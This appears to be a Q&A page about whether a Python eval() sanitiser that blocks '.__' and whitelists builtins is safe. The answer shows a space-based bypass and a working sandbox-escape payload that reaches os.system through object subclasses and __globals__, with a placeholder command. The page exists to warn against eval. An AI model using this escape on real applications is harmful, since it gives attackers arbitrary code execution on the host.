Search code examples
pythonevalsanitization

Safe eval() by explitily whitelisting builtins and bailing on dunders?


I know it's inadvisable to use eval() on untrusted input, but I want to see where this sanitiser fails. It uses a whitelist to only allow harmless builtins, and it immediately bails if there are any dunder properties called. (Note: the reason it string searches .__ and not just __ is because I want to allow things like foo.bar__baz).

def safe_eval(code: str) -> Any | None:
    if '.__' in code:
        raise ValueError

    allowed_builtins = [
        'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytearray', 'bytes', 'callable', 'chr',
        'complex', 'dict', 'divmod', 'enumerate', 'filter', 'float', 'format', 'frozenset',
        'hasattr', 'hash', 'hex', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'list',
        'map', 'max', 'min', 'next', 'object', 'oct', 'ord', 'pow', 'range', 'repr', 'reversed',
        'round', 'set', 'slice', 'sorted', 'str', 'sum', 'tuple', 'zip'
    ]

    return eval(
        code,
        globals={
            '__builtins__': {
                builtin : getattr(__builtins__, builtin) for builtin in allowed_builtins
            }
        },
        locals={},
    )

Re: "Why do you want to do this?" I want to be able to filter python objects based on user input. These objects are "payloads" for "sessions" in the application, so allowing users to filter sessions based on arbitrary expressions on payload contents - e.g. len(payload.things) > 12 - would be a useful feature.

So my question is: what input string would allow an attacker access data "outside" the eval, i.e. variables in the script or access to the OS?


Solution

  • Just put a space in: . __

    and the standard bypasses work fine. Like this one:

    [x for x in (). __class__. __base__. __subclasses__()
     if x. __name__ == 'Quitter'][0]. __init__. __globals__['__builtins__']['__import__'](
    'os').system('install ransomware or something')
    

    Seriously, don't use eval. These ad-hoc sanitizers never cover the full attack surface, and even if one miraculously does, the attack surface expands with every Python version.